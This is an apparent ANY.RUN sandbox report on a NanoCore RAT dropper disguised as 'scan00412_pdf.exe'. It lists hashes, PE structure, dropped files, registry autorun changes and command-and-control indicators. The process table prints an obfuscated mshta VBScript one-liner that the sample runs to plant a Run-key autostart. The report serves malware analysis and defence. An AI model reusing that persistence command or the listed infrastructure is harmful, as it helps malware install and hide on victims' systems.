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File name:

scan00412_pdf.exe

Full analysis: https://app.any.run/tasks/c1af2a40-90ff-444e-a0f7-6c1f80f37e8b
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Analysis date: January 23, 2019, 10:32:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

A02D485B3EA64C940014DE43B2BAD563

SHA1:

ECD179B454580888137B7650F44A1A9977BD4419

SHA256:

6D11B6944C428DA2612CF9AD6DB27472EBC46BC02063725EDA78B2ABA90CEC20

SSDEEP:

6144:1BI4gQLTe+r0hm0vaMbyIXixpsqLSV9h3GPeLBOXwiNfvqpWj:1BILydwhP1bdi8Lh3ZBqGW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • UNDERBEGREBETS.exe (PID: 3496)
    • NanoCore was detected

      • UNDERBEGREBETS.exe (PID: 3496)
    • Changes the autorun value in the registry

      • mshta.exe (PID: 2336)
      • UNDERBEGREBETS.exe (PID: 3496)
  • SUSPICIOUS

    • Creates files in the user directory

      • UNDERBEGREBETS.exe (PID: 3496)
    • Executable content was dropped or overwritten

      • scan00412_pdf.exe (PID: 3112)
      • UNDERBEGREBETS.exe (PID: 3496)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • scan00412_pdf.exe (PID: 3112)
    • Connects to unusual port

      • UNDERBEGREBETS.exe (PID: 3496)
  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 2336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Microsoft Visual Basic 6 (69.4)
.exe | Win64 Executable (generic) (23.3)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.6)
.exe | DOS Executable Generic (1.6)

EXIF

EXE

OriginalFileName: staldedes.exe
InternalName: staldedes
ProductVersion: 4.03.0005
FileVersion: 4.03.0005
ProductName: PuRoFeNcEen
LegalTrademarks: PuRoFeNcEen
LegalCopyright: PuRoFeNcEen
FileDescription: PuRoFeNcEen
CompanyName: lapputan
Comments: PuRoFeNcEen
CharacterSet: Unicode
LanguageCode: German (Swiss)
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x0000
ProductVersionNumber: 4.3.0.5
FileVersionNumber: 4.3.0.5
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: 4.3
OSVersion: 4
EntryPoint: 0x1540
UninitializedDataSize: -
InitializedDataSize: 585728
CodeSize: 28672
LinkerVersion: 6
PEType: PE32
TimeStamp: 2019:01:23 08:41:30+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 23-Jan-2019 07:41:30
Detected languages:
  • German - Switzerland
  • Portuguese - Portugal
Comments: PuRoFeNcEen
CompanyName: lapputan
FileDescription: PuRoFeNcEen
LegalCopyright: PuRoFeNcEen
LegalTrademarks: PuRoFeNcEen
ProductName: PuRoFeNcEen
FileVersion: 4.03.0005
ProductVersion: 4.03.0005
InternalName: staldedes
OriginalFilename: staldedes.exe

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000B8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 23-Jan-2019 07:41:30
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00006800
0x00007000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.27603
.data
0x00008000
0x00000A7C
0x00001000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.rsrc
0x00009000
0x0008D788
0x0008E000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.90739

Resources

Title
Entropy
Size
Codepage
Language
Type
1
3.31719
792
Unicode (UTF 16LE)
German - Switzerland
RT_VERSION
30001
3.58058
488
Unicode (UTF 16LE)
UNKNOWN
RT_ICON
30002
4.19113
1736
Unicode (UTF 16LE)
UNKNOWN
RT_ICON
30003
4.98756
2440
Unicode (UTF 16LE)
UNKNOWN
RT_ICON
CIAO
5.88217
573544
Unicode (UTF 16LE)
Portuguese - Portugal
RT_BITMAP

Imports

MSVBVM60.DLL
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
32
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start scan00412_pdf.exe mshta.exe #NANOCORE underbegrebets.exe

Process information

PID
CMD
Path
Indicators
Parent process
3112"C:\Users\admin\AppData\Local\Temp\scan00412_pdf.exe" C:\Users\admin\AppData\Local\Temp\scan00412_pdf.exe
explorer.exe
User:
admin
Company:
lapputan
Integrity Level:
MEDIUM
Description:
PuRoFeNcEen
Exit code:
0
Version:
4.03.0005
2336"C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Santos1"" : WshShell.RegWrite myKey,""C:\Users\admin\AppData\Local\Temp\UNDERBEGREBETS.exe"",""REG_SZ"" : window.close")C:\Windows\System32\mshta.exe
scan00412_pdf.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3496"C:\Users\admin\AppData\Local\Temp\UNDERBEGREBETS.exe" C:\Users\admin\AppData\Local\Temp\UNDERBEGREBETS.exe
scan00412_pdf.exe
User:
admin
Company:
lapputan
Integrity Level:
MEDIUM
Description:
PuRoFeNcEen
Version:
4.03.0005
Total events
426
Read events
416
Write events
10
Delete events
0

Modification events

(PID) Process:(3112) scan00412_pdf.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3112) scan00412_pdf.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2336) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2336) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2336) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Santos1
Value:
C:\Users\admin\AppData\Local\Temp\UNDERBEGREBETS.exe
(PID) Process:(3496) UNDERBEGREBETS.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:TCP Monitor
Value:
C:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\TCP Monitor\tcpmon.exe
Executable files
2
Suspicious files
2
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3112scan00412_pdf.exeC:\Users\admin\AppData\Local\VirtualStore\Windows\win.initext
MD5:15611EBBEBDCEC4EECDAE5D19581856F
SHA256:F952A6D7439CD68E5727C7F16999901F1FC9253E1061F3C2B398382AD5914E7C
3496UNDERBEGREBETS.exeC:\Users\admin\AppData\Local\VirtualStore\Windows\win.initext
MD5:15611EBBEBDCEC4EECDAE5D19581856F
SHA256:F952A6D7439CD68E5727C7F16999901F1FC9253E1061F3C2B398382AD5914E7C
3112scan00412_pdf.exeC:\Users\admin\AppData\Local\Temp\UNDERBEGREBETS.exeexecutable
MD5:1562EF053F0F8491A5CC6E3BF9ADE7D1
SHA256:21BEC88DAB75BE833681A1ACF0A13FB774C2925154F9B9BDF66A83BFABBCEE35
3496UNDERBEGREBETS.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.datbinary
MD5:9DDC208B372863125A4A76CB94476D77
SHA256:159F9A8D872D722D36C46B42EA6B5E847F7E55904EB81507FEFEA43F27F2108E
3112scan00412_pdf.exeC:\Users\admin\AppData\Local\Temp\~DFDB6DFFFBB0514305.TMPbinary
MD5:AD9FBC2FB3348434794B5C1248BED4A6
SHA256:B3FC6B1C51CF24955606EA54AE2DE691E51232FEF1467BB5EC960C24E4BAE39E
3496UNDERBEGREBETS.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\TCP Monitor\tcpmon.exeexecutable
MD5:1562EF053F0F8491A5CC6E3BF9ADE7D1
SHA256:21BEC88DAB75BE833681A1ACF0A13FB774C2925154F9B9BDF66A83BFABBCEE35
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
13
DNS requests
7
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3496
UNDERBEGREBETS.exe
8.8.8.8:53
Google Inc.
US
whitelisted
3496
UNDERBEGREBETS.exe
185.244.30.121:7878
malicious

DNS requests

Domain
IP
Reputation
irokko.ddns.net
  • 0.0.0.0
unknown

Threats

PID
Process
Class
Message
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Query to a Suspicious *.ddns.net Domain
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Generic dynamic DNS detection
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Query to a Suspicious *.ddns.net Domain
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Generic dynamic DNS detection
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Query to a Suspicious *.ddns.net Domain
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Generic dynamic DNS detection
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Query to a Suspicious *.ddns.net Domain
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Generic dynamic DNS detection
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Query to a Suspicious *.ddns.net Domain
3496
UNDERBEGREBETS.exe
A Network Trojan was detected
SC BAD_UNKNOWN Generic dynamic DNS detection
No debug info